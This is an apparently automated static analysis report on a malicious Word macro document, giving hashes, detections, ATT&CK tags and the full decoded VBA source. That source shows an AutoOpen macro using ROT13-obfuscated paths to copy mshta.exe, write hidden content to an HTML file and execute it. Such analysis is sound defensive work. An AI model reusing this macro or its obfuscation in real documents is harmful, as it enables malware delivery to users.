Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 b6edbe7e56db7af5…

MALICIOUS

Office (OOXML)

71.4 KB Created: 2020-08-31 10:36:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-09-07
MD5: 4b9a34baa3898ef591720dbf3ce71b5c SHA-1: ae6eaeb31b9b5a9159baf443d5d64f23773a1e61 SHA-256: b6edbe7e56db7af5ca81fefc9d453a1121c23351ff3a6f1b05b7f049512b2d21
224 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample is a malicious Office document containing VBA macros. The AutoOpen macro triggers the execution of a shell command, indicating it's designed to download and execute a secondary payload. The obfuscated constants suggest attempts to hide file paths or URLs, but the presence of the Shell() call and the ClamAV detection strongly point to a downloader functionality.

Heuristics 7

  • ClamAV: Doc.Downloader.835b97208387fc57-OOXML-9981517-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.835b97208387fc57-OOXML-9981517-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2500 bytes
SHA-256: b02b8bc8768027afb1493ee5436e8041bbc4f47f4080f0289742b5d066f47812
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "akXoU"
Function aluRd()
aluRd = frm.txt.text
End Function
Public Function aXrxwy(ag6Wu)
aXrxwy = Replace(ag6Wu, aJ8Ray, "")
End Function
Sub AutoOpen()
main
End Sub
Public Sub a219x(a4fMQ)
End Sub

Attribute VB_Name = "axkwod"
Public Const aeb5wR As String = "p_:_\_j_v_a_q_b_j_f_\_f_l_f_g_r_z_3_2_\_z_f_u_g_n_._r_k_r_"
Public Const ax91li As String = "P_:_\_h_f_r_e_f_\_c_h_o_y_v_p_\_v_a_._p_b_z_"
Public Const aCV4D As String = "P_:_\_h_f_r_e_f_\_c_h_o_y_v_p_\_v_a_._u_g_z_y_"
Public Const aJ8Ray As String = "_"
Public Const aSQbNy As Integer = -1553 + 1566
Public Function axJ4E(aDkco, aUDN2Q)
FileNumber = FreeFile
Open aDkco For Output As #FileNumber
Print #FileNumber, Spc(314 - 135)
Print #FileNumber, aUDN2Q
Print #FileNumber, Spc(314 - 135)
Close #FileNumber
End Function
Sub aRa6Cm(a3f4Yz, aphK6A)
FileCopy a3f4Yz, aphK6A
End Sub
Function a3sYU2(at7zJ)
a3sYU2 = Len(at7zJ)
End Function
Function aZvKrH(aEXDG)
aZvKrH = aEXDG + 485 - 459
End Function
Function alqf6(aEXDG, asetv)
alqf6 = aEXDG - asetv
End Function
Function akj8a(aEXDG)
akj8a = VBA.Chr$(aEXDG)
End Function
Function aRbUyn(aNoWH) As String
Dim acwjCu As Long
Dim aET2r As Integer
Dim aumx2 As Integer
For acwjCu = 1 To a3sYU2(aNoWH)
aumx2 = 0
a0Yne = VBA.Mid$(aNoWH, acwjCu, 1)
aET2r = Asc(a0Yne)
If (aET2r > 64 And aET2r < 91) Or (aET2r > 96 And aET2r < 123) Then
aumx2 = aSQbNy
aET2r = alqf6(aET2r, aumx2)
If aET2r < 97 And aET2r > 83 Then
aET2r = aZvKrH(aET2r)
ElseIf aET2r < 65 Then
aET2r = aZvKrH(aET2r)
End If
End If
Mid$(aNoWH, acwjCu, 1) = akj8a(aET2r)
Next
aRbUyn = aNoWH
End Function

Attribute VB_Name = "aQ7VJg"
Sub main()
aSEWd = aRbUyn(aXrxwy(aeb5wR))
afB16 = aRbUyn(aXrxwy(ax91li))
aZkYA = aRbUyn(aXrxwy(aCV4D))
aRa6Cm aSEWd, afB16
axJ4E aZkYA, aRbUyn(aluRd)
Shell afB16 & " " & aZkYA
End Sub

Attribute VB_Name = "frm"
Attribute VB_Base = "0{B4B381BD-C918-474C-9D8A-DDBD1ADF0699}{6236F87C-1755-4D34-B852-BC6EB732FD76}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 55808 bytes
SHA-256: e846400e5db0057bd5793d08685c5c649d9682eb9fa7f9c61f907383a5d600e1
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).

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